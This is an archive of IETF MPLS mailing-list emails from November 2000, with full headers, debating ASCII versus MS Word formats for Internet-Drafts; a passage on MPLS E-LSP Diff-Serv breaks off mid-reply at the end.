> > > > > > > > Part 1.1Type: Plain Text (text/plain) From owner-mpls@UU.NET Fri Nov 17 06:54:53 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA18641 for ; Fri, 17 Nov 2000 06:54:52 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjprr29061; Fri, 17 Nov 2000 11:53:19 GMT Received: by mail-control.mail.uu.net id QQjprr01005 for mpls-outgoing; Fri, 17 Nov 2000 11:52:59 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjprr01000 for ; Fri, 17 Nov 2000 11:52:51 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjprr25790 for ; Fri, 17 Nov 2000 11:52:30 GMT Received: from smtp6.mindspring.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtp6.mindspring.com [207.69.200.110]) id QQjprr27885 for ; Fri, 17 Nov 2000 11:52:30 GMT Received: from mindspring.com (user-2ive3jg.dialup.mindspring.com [165.247.14.112]) by smtp6.mindspring.com (8.9.3/8.8.5) with ESMTP id GAA29163; Fri, 17 Nov 2000 06:51:49 -0500 (EST) Message-ID: <3A151C3E.40E74C0@mindspring.com> Date: Fri, 17 Nov 2000 06:53:34 -0500 From: Eric Gray Reply-To: ewgray@mindspring.com X-Mailer: Mozilla 4.51 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: neil.2.harrison@bt.com CC: pkj@cypress.com, cchen@asl.dl.nec.com, mpls@UU.NET Subject: Re: Creating .txt with IETF Format References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Neil, Speaking as one who occasionally uses MS-Word, I think you are very hard on them when you say that it is "far from rough running code". It does work a lot of the time, you know. -- Eric Gray neil.2.harrison@bt.com wrote: > I find it kind of weird that the vast majority (read as 'overwhelming > consensus and far from rough running code') use Word/ppt and yet we are > forced to use this outdated mode for producing IDs. This is just dogma to > me and I don't buy any of the arguments I have heard to retain this mode. > If IETF claim to act on a consenus basis then why not lets have a vote on > this? > > neil > > > -----Original Message----- > > From: Pankaj K Jha [SMTP:pkj@cypress.com] > > Sent: Thursday, November 16, 2000 6:42 PM > > To: C. Chen > > Cc: mpls > > Subject: Re: Creating .txt with IETF Format > > > > Dear Cheng: > > > > > > > > Once you have made your .doc file, steps to making an IETF draft are > > simple: > > > > - Go to Printers, and select Add Printer > > - In the list of manufacturers for printers, look for Generic. Select > > Generic/Text > > > > - This printer should appear in your printer list > > - When printing your .doc file, select this printer. This printer prints > > to a > > file. When asked for a file name, give a file name in your directory. > > Let's call > > it "note". > > > > You'll see that all pages are getting printed as if they are going to a > > real > > printer. > > You should see a file name called "note.prn" in your directory. > > > > I'm sure you have the program "crlf.exe" downloaded from IETF website. If > > you do > > not have it, get it from the website. > > > > Then run the following line in DOS prompt: > > > > "crlf note.prn note.txt" > > > > The file "note.txt" is your IETF draft. Rename it to your flavor, and you > > are > > ready to submit. > > > > The template is quite finicky about font sizes, paragraph settings, etc. > > Any > > deviations and you'll end up with a bizarre output. You need to pay > > attention to > > your fonts and spacing for header 1/2/3, etc. as well. > > > > Should you need a sample word file, I can send you mine. It took me a > > while to > > figure it out, but it works great now. You can cut and paste your > > document into > > this document to finish your work quickly. > > > > Note that as long as you do not change font size, you can make your > > headers bold > > and of different colors, without any side effects. If you must use > > bullets, make > > sure the List Bullet has same font properties as your RFC Text. > > > > Hope it helps. > > > > -Pankaj > > > > "C. Chen" wrote: > > > > > Mr. Jha, > > > > > > Thank you very much for your kindness offer. Several people gave me some > > tips > > > but none of them works yet. Please adise me how you do it. > > > > > > Thank you very muvh in advance, > > > > > > Best Regards, > > > > > > Cheng C. Chen > > > > > > Pankaj K Jha wrote: > > > > > > > Did someone already reply to your question? If not, please let me know > > and I > > > > can write it for you. > > > > -Pankaj > > > > > > > > "C. Chen" wrote: > > > > > > > > > Does anyone know how to generate the .txt file from Microsoft workd > > file > > > > > while keep > > > > > the proper IETF draft format? I down load the word template from > > IETF > > > > > web site and > > > > > created a .doc file. However, when I tried tosave the file with .txt > > > > > extension. the > > > > > resulting .txt file is not in the write format. Please advise me me > > how > > > > > to do it > > > > > right. Thank you very much in advance, > > > > > > > > > > Best Regards, > > > > > > > > > > Cheng C. Chen > > > > > > > > > > Bilel Jamoussi wrote: > > > > > > > > > > > Part 1.1Type: Plain Text (text/plain) From owner-mpls@UU.NET Fri Nov 17 07:36:50 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA05488 for ; Fri, 17 Nov 2000 07:36:50 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpru10876; Fri, 17 Nov 2000 12:35:10 GMT Received: by mail-control.mail.uu.net id QQjpru15301 for mpls-outgoing; Fri, 17 Nov 2000 12:34:39 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjpru15294 for ; Fri, 17 Nov 2000 12:34:32 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpru22372 for ; Fri, 17 Nov 2000 12:34:21 GMT Received: from iol.unh.edu by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mars.iol.unh.edu [132.177.121.222]) id QQjpru14130 for ; Fri, 17 Nov 2000 12:34:21 GMT Received: (from rdb@localhost) by iol.unh.edu (8.9.3/8.9.3) id HAA04987; Fri, 17 Nov 2000 07:36:43 -0500 (EST) From: Rob Blais Message-Id: <200011171236.HAA04987@iol.unh.edu> Subject: Re: Creating .txt with IETF Format To: neil.2.harrison@bt.com Date: Fri, 17 Nov 2000 07:36:43 -0500 (EST) Cc: mpls@UU.NET In-Reply-To: from "neil.2.harrison@bt.com" at Nov 17, 2000 09:36:24 AM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Would it not be hypocritical of the IETF to both create and promote open specifications (RFCs) while at the same time advocating or at least accepting a proprietary document format such as MS-Word? As one who has wasted far too much time on the blue screen of death and finally made the switch back to Unix, I would very much be opposed to any attempts to change the current open and portable document distribution practices. The IETF has reached almost Zen-like perfection in management of documents. I wish all standards organizations were this good! It is the epitomy of the KISS principle in action. If it ain't broke, don't fix it. It sure doesn't look broken to me. I vote in favor of keeping the status quo. /rob --------------------------------------------------------------------- Rob Blais rdb@iol.unh.edu "The Internet? MPLS Consortium Manager Phone: 603-862-4569 Is that thing ATM Operations Manager Fax: 603-862-4181 still around?" UNH InterOperability Lab http://www.iol.unh.edu/ -Homer Simpson > I find it kind of weird that the vast majority (read as 'overwhelming > consensus and far from rough running code') use Word/ppt and yet we are > forced to use this outdated mode for producing IDs. This is just dogma to > me and I don't buy any of the arguments I have heard to retain this mode. > If IETF claim to act on a consenus basis then why not lets have a vote on > this? > > neil > From owner-mpls@UU.NET Fri Nov 17 08:00:47 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA13374 for ; Fri, 17 Nov 2000 08:00:46 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjprv16086; Fri, 17 Nov 2000 12:59:36 GMT Received: by mail-control.mail.uu.net id QQjprv16653 for mpls-outgoing; Fri, 17 Nov 2000 12:59:19 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjprv16648 for ; Fri, 17 Nov 2000 12:59:11 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjprv26291 for ; Fri, 17 Nov 2000 12:59:01 GMT From: neil.2.harrison@bt.com Received: from gollum.axion.bt.co.uk by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: gollum.axion.bt.co.uk [132.146.17.41]) id QQjprv19075 for ; Fri, 17 Nov 2000 12:59:01 GMT Received: from cirwm3nt01.nor.bt.com by gollum (local) with ESMTP; Fri, 17 Nov 2000 12:42:01 +0000 Received: by cirwm3nt01.nor.bt.com with Internet Mail Service (5.5.2652.35) id ; Fri, 17 Nov 2000 12:40:34 -0000 Message-ID: To: ewgray@mindspring.com Cc: pkj@cypress.com, cchen@asl.dl.nec.com, mpls@UU.NET Subject: RE: Creating .txt with IETF Format Date: Fri, 17 Nov 2000 12:40:24 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Eric Gray observed: > Speaking as one who occasionally uses MS-Word, I > think you are very hard on them when you say that it is > "far from rough running code". It does work a lot of the > time, you know. > NH=> Yes it does Eric. And if most people use this in their normal working environment then why is it so wrong to use it in IETF? BTW - I have yet to see people using ASCII slides at conferences...even IETF....I see plenty of ppt slides though. This is hardly consistent behaviour is it? neil From owner-mpls@UU.NET Fri Nov 17 08:01:36 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA13684 for ; Fri, 17 Nov 2000 08:01:36 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjprv02207; Fri, 17 Nov 2000 12:59:35 GMT Received: by mail-control.mail.uu.net id QQjprv16646 for mpls-outgoing; Fri, 17 Nov 2000 12:59:04 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjprv16641 for ; Fri, 17 Nov 2000 12:59:03 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjprv29043 for ; Fri, 17 Nov 2000 12:59:02 GMT From: neil.2.harrison@bt.com Received: from gollum.axion.bt.co.uk by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: gollum.axion.bt.co.uk [132.146.17.41]) id QQjprv19099 for ; Fri, 17 Nov 2000 12:59:01 GMT Received: from cclmsent02.lon.bt.com by gollum (local) with ESMTP; Fri, 17 Nov 2000 12:46:51 +0000 Received: by cclmsent02.lon.bt.com with Internet Mail Service (5.5.2651.88) id ; Fri, 17 Nov 2000 12:45:20 -0000 Message-ID: To: rdb@iol.unh.edu Cc: mpls@UU.NET Subject: RE: Creating .txt with IETF Format Date: Fri, 17 Nov 2000 12:45:12 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.88) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Rob....Do you use ppt slides when doing presentations or ASCII ones? neil > -----Original Message----- > From: Rob Blais [SMTP:rdb@iol.unh.edu] > Sent: Friday, November 17, 2000 12:37 PM > To: neil.2.harrison@bt.com > Cc: mpls@uu.net > Subject: Re: Creating .txt with IETF Format > > Would it not be hypocritical of the IETF to both create and promote > open specifications (RFCs) while at the same time advocating or at least > accepting a proprietary document format such as MS-Word? As one who > has wasted far too much time on the blue screen of death and finally > made the switch back to Unix, I would very much be opposed to any > attempts to change the current open and portable document distribution > practices. The IETF has reached almost Zen-like perfection in management > of documents. I wish all standards organizations were this good! It is > the epitomy of the KISS principle in action. > > If it ain't broke, don't fix it. It sure doesn't look broken to me. > I vote in favor of keeping the status quo. > > /rob > > --------------------------------------------------------------------- > Rob Blais rdb@iol.unh.edu "The Internet? > MPLS Consortium Manager Phone: 603-862-4569 Is that thing > ATM Operations Manager Fax: 603-862-4181 still around?" > UNH InterOperability Lab http://www.iol.unh.edu/ -Homer Simpson > > > I find it kind of weird that the vast majority (read as 'overwhelming > > consensus and far from rough running code') use Word/ppt and yet we are > > forced to use this outdated mode for producing IDs. This is just dogma > to > > me and I don't buy any of the arguments I have heard to retain this > mode. > > If IETF claim to act on a consenus basis then why not lets have a vote > on > > this? > > > > neil > > From owner-mpls@UU.NET Fri Nov 17 08:15:00 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA18077 for ; Fri, 17 Nov 2000 08:14:59 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjprw05761; Fri, 17 Nov 2000 13:13:08 GMT Received: by mail-control.mail.uu.net id QQjprw29285 for mpls-outgoing; Fri, 17 Nov 2000 13:12:51 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjprw29276 for ; Fri, 17 Nov 2000 13:12:47 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjprw29908 for ; Fri, 17 Nov 2000 13:12:15 GMT Received: from iol.unh.edu by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mars.iol.unh.edu [132.177.121.222]) id QQjprw08100 for ; Fri, 17 Nov 2000 13:12:15 GMT Received: (from rdb@localhost) by iol.unh.edu (8.9.3/8.9.3) id IAA05528; Fri, 17 Nov 2000 08:14:38 -0500 (EST) From: Rob Blais Message-Id: <200011171314.IAA05528@iol.unh.edu> Subject: Re: Creating .txt with IETF Format To: neil.2.harrison@bt.com Date: Fri, 17 Nov 2000 08:14:37 -0500 (EST) Cc: mpls@UU.NET In-Reply-To: from "neil.2.harrison@bt.com" at Nov 17, 2000 12:45:12 PM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Neil, I am migrating to another presentation package since, as far as I know, powerpoint only runs on windoze. But that is irrelavant to the discussion at hand, which was focused on creating ASCII text files to submit as IDs/RFCs to the IETF. Are you suggesting that we start creating IDs and RFCs in powerpoint format? I think that would be more than a little impractical. /rob --------------------------------------------------------------------- Rob Blais rdb@iol.unh.edu "The Internet? MPLS Consortium Manager Phone: 603-862-4569 Is that thing ATM Operations Manager Fax: 603-862-4181 still around?" UNH InterOperability Lab http://www.iol.unh.edu/ -Homer Simpson > Rob....Do you use ppt slides when doing presentations or ASCII ones? > > neil > From owner-mpls@UU.NET Fri Nov 17 08:19:45 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA19658 for ; Fri, 17 Nov 2000 08:19:44 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjprx16900; Fri, 17 Nov 2000 13:18:24 GMT Received: by mail-control.mail.uu.net id QQjprx29809 for mpls-outgoing; Fri, 17 Nov 2000 13:18:07 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjprx29804 for ; Fri, 17 Nov 2000 13:18:03 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjprx04620 for ; Fri, 17 Nov 2000 13:17:16 GMT Received: from newdev.harvard.edu by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: newdev.eecs.harvard.edu [140.247.60.212]) id QQjprx27872 for ; Fri, 17 Nov 2000 13:17:16 GMT Received: (from sob@localhost) by newdev.harvard.edu (8.9.3/8.9.3) id IAA13085 for mpls@UU.NET; Fri, 17 Nov 2000 08:16:57 -0500 (EST) Date: Fri, 17 Nov 2000 08:16:57 -0500 (EST) From: Scott Bradner Message-Id: <200011171316.IAA13085@newdev.harvard.edu> To: mpls@UU.NET Subject: Re: Creating .txt with IETF Format Sender: owner-mpls@UU.NET Precedence: bulk it is WAY outside the scope of this working group to discuss what file formats the IETF should or should not use - if you want to discuss that issue do so on the Process for Organization of Internet Standards ONg (poisson) list (if you check the archive you will find that the topic has come up before) Scott General Discussion:poised@lists.tislabs.com To Subscribe: poised-request@lists.tislabs.com Archive: ftp://ftp.tis.com/pub/lists/poised/poised.yymm From owner-mpls@UU.NET Fri Nov 17 08:57:13 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA07482 for ; Fri, 17 Nov 2000 08:57:12 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjprz06799; Fri, 17 Nov 2000 13:55:15 GMT Received: by mail-control.mail.uu.net id QQjprz02516 for mpls-outgoing; Fri, 17 Nov 2000 13:54:43 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjprz02504 for ; Fri, 17 Nov 2000 13:54:40 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjprz17144 for ; Fri, 17 Nov 2000 13:54:26 GMT Received: from filo.cisnet by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [194.151.41.244]) id QQjprz08451 for ; Fri, 17 Nov 2000 13:54:25 GMT Received: from rimail.com (jyra.cisnet [10.17.130.9]) by filo.cisnet (8.9.3/8.8.7) with ESMTP id OAA05003 for ; Fri, 17 Nov 2000 14:54:25 +0100 Message-ID: <3A153899.EE3C4F7@rimail.com> Date: Fri, 17 Nov 2000 14:54:33 +0100 From: theo X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 CC: mpls@UU.NET Subject: Re: Creating .txt with IETF Format References: <200011171236.HAA04987@iol.unh.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hi all, Why don't you propose to microsoft to include a new add-on such as an "ietf-converter" ? theo Rob Blais wrote: > Would it not be hypocritical of the IETF to both create and promote > open specifications (RFCs) while at the same time advocating or at least > accepting a proprietary document format such as MS-Word? As one who > has wasted far too much time on the blue screen of death and finally > made the switch back to Unix, I would very much be opposed to any > attempts to change the current open and portable document distribution > practices. The IETF has reached almost Zen-like perfection in management > of documents. I wish all standards organizations were this good! It is > the epitomy of the KISS principle in action. > > If it ain't broke, don't fix it. It sure doesn't look broken to me. > I vote in favor of keeping the status quo. > > /rob > > --------------------------------------------------------------------- > Rob Blais rdb@iol.unh.edu "The Internet? > MPLS Consortium Manager Phone: 603-862-4569 Is that thing > ATM Operations Manager Fax: 603-862-4181 still around?" > UNH InterOperability Lab http://www.iol.unh.edu/ -Homer Simpson > > > I find it kind of weird that the vast majority (read as 'overwhelming > > consensus and far from rough running code') use Word/ppt and yet we are > > forced to use this outdated mode for producing IDs. This is just dogma to > > me and I don't buy any of the arguments I have heard to retain this mode. > > If IETF claim to act on a consenus basis then why not lets have a vote on > > this? > > > > neil > > From owner-mpls@UU.NET Fri Nov 17 09:42:01 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA26698 for ; Fri, 17 Nov 2000 09:42:01 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpsc14998; Fri, 17 Nov 2000 14:38:39 GMT Received: by mail-control.mail.uu.net id QQjpsc17218 for mpls-outgoing; Fri, 17 Nov 2000 14:38:09 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjpsc17208 for ; Fri, 17 Nov 2000 14:38:06 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpsc06436 for ; Fri, 17 Nov 2000 14:37:02 GMT Received: from bridge.axiowave.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [209.6.34.2]) id QQjpsc09273 for ; Fri, 17 Nov 2000 14:37:02 GMT Message-ID: From: Jeff Parker To: "'neil.2.harrison@bt.com'" Cc: mpls@UU.NET Subject: RE: Creating .txt with IETF Format Date: Fri, 17 Nov 2000 09:36:54 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk > I find it kind of weird that the vast majority (read as > overwhelming consensus and far from rough running code') > use Word/ppt and yet we are forced to use this outdated > mode for producing IDs. I know this is off task, but I'm surprised that the ultimate IETF dictum, conservative in what you send, has not been invoked. I notice that no one complains about being unable to read RFC 12. In the past, Microsoft has had trouble reading old versions of Word documents. I spent far longer than I would like to admit last spring revising a course so that current versions of Power Point could read old versions. I shudder to think of the task of revising old RFCs everytime Redmond decides we need to upgrade. - jeff parker - axiowave networks From owner-mpls@UU.NET Fri Nov 17 11:00:41 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA05199 for ; Fri, 17 Nov 2000 11:00:41 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpsh24172; Fri, 17 Nov 2000 15:58:23 GMT Received: by mail-control.mail.uu.net id QQjpsh07996 for mpls-outgoing; Fri, 17 Nov 2000 15:57:48 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpsh07983 for ; Fri, 17 Nov 2000 15:57:40 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpsh25964 for ; Fri, 17 Nov 2000 15:57:34 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpsh22948 for ; Fri, 17 Nov 2000 15:57:34 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id KAA05058 for mpls@uu.net; Fri, 17 Nov 2000 10:57:33 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpsh07936 for ; Fri, 17 Nov 2000 15:57:00 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpsh24513 for ; Fri, 17 Nov 2000 15:56:57 GMT Received: from ctron-dnm.ctron.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ctron-dnm.cabletron.com [12.25.1.120]) id QQjpsh11888 for ; Fri, 17 Nov 2000 15:56:56 GMT Received: (from uucp@localhost) by ctron-dnm.ctron.com (8.8.7/8.8.7) id LAA14685 for ; Fri, 17 Nov 2000 11:02:14 -0500 (EST) Received: from olympus.ctron.com(134.141.72.253) by ctron-dnm.ctron.com via smap (4.1) id xma014578; Fri, 17 Nov 00 11:01:52 -0500 Received: from ctron-exc2.ctron.com (ctron-exc2 [134.141.77.97]) by olympus.ctron.com (8.8.7/8.8.7) with ESMTP id KAA18305 for ; Fri, 17 Nov 2000 10:56:32 -0500 (EST) Received: by ctron-exc2.ctron.com with Internet Mail Service (5.5.2650.21) id ; Fri, 17 Nov 2000 10:56:31 -0500 Message-ID: <41F38F010C4FD411B2E000805F65FF451D04AD@roch-exc1.ctron.com> From: "Cormier, Len" To: "'mpls@UU.NET'" Date: Fri, 17 Nov 2000 10:56:30 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C050AE.F37CED9A" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C050AE.F37CED9A Content-Type: text/plain; charset="ISO-8859-1" unsubscribe ================== Len Cormier Enterasys Networks 486 Amherst Street Nashua, NH 03063 603-337-5053 Voice 603-337-5142 Fax 603-781-5891 Cell 800-624-4903 Pager ================== ------_=_NextPart_001_01C050AE.F37CED9A Content-Type: text/html; charset="ISO-8859-1"

unsubscribe

==================
Len Cormier
Enterasys Networks
486 Amherst Street
Nashua, NH 03063
603-337-5053 Voice
603-337-5142 Fax
603-781-5891 Cell
800-624-4903 Pager
==================

------_=_NextPart_001_01C050AE.F37CED9A-- From owner-mpls@UU.NET Fri Nov 17 11:43:28 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA22095 for ; Fri, 17 Nov 2000 11:43:27 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpsk12946; Fri, 17 Nov 2000 16:39:20 GMT Received: by mail-control.mail.uu.net id QQjpsk24106 for mpls-outgoing; Fri, 17 Nov 2000 16:38:44 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpsk24085 for ; Fri, 17 Nov 2000 16:38:24 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpsk23084 for ; Fri, 17 Nov 2000 16:38:11 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpsk21923 for ; Fri, 17 Nov 2000 16:38:10 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id LAA10674 for mpls@uu.net; Fri, 17 Nov 2000 11:38:10 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpsk24039 for ; Fri, 17 Nov 2000 16:37:39 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpsk20030 for ; Fri, 17 Nov 2000 16:36:55 GMT Received: from ogma.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ogma.cisco.com [144.254.74.39]) id QQjpsk10300 for ; Fri, 17 Nov 2000 16:36:55 GMT Received: from europe.cisco.com (europe.cisco.com [144.254.52.73]) by ogma.cisco.com (Postfix) with ESMTP id 36F44296; Fri, 17 Nov 2000 17:36:54 +0100 (MET) Received: from flefauch-8kcdt.cisco.com (nice-dhcp12.cisco.com [144.254.60.34]) by europe.cisco.com (8.8.8+Sun/8.8.8) with SMTP id RAA03379; Fri, 17 Nov 2000 17:36:53 +0100 (MET) Message-Id: <200011171636.RAA03379@europe.cisco.com> X-Sender: flefauch@europe.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.2 Date: Fri, 17 Nov 2000 17:38:05 +0100 To: Young Lee From: Francois Le Faucheur Subject: Re: Question on MPLS E_LSP Cc: "'mpls@UU.NET'" , flefauch@europe.cisco.com In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-mpls@UU.NET Precedence: bulk Young, At 12:29 14/11/2000 -0600, Young Lee wrote: >I am wondering if any networks are implementing MPLS E-LSP with one LSP >supporting more than one class within? If so, what are the advatages of >this implementation over having only one class for an LSP? > It is VERY simple. You stay with one single LSP (just as if you were not using Diff-Serv) and you set-up/signal E-LSPs with absolutely no change to the signaling (just as if you were not using Diff-Serv). If 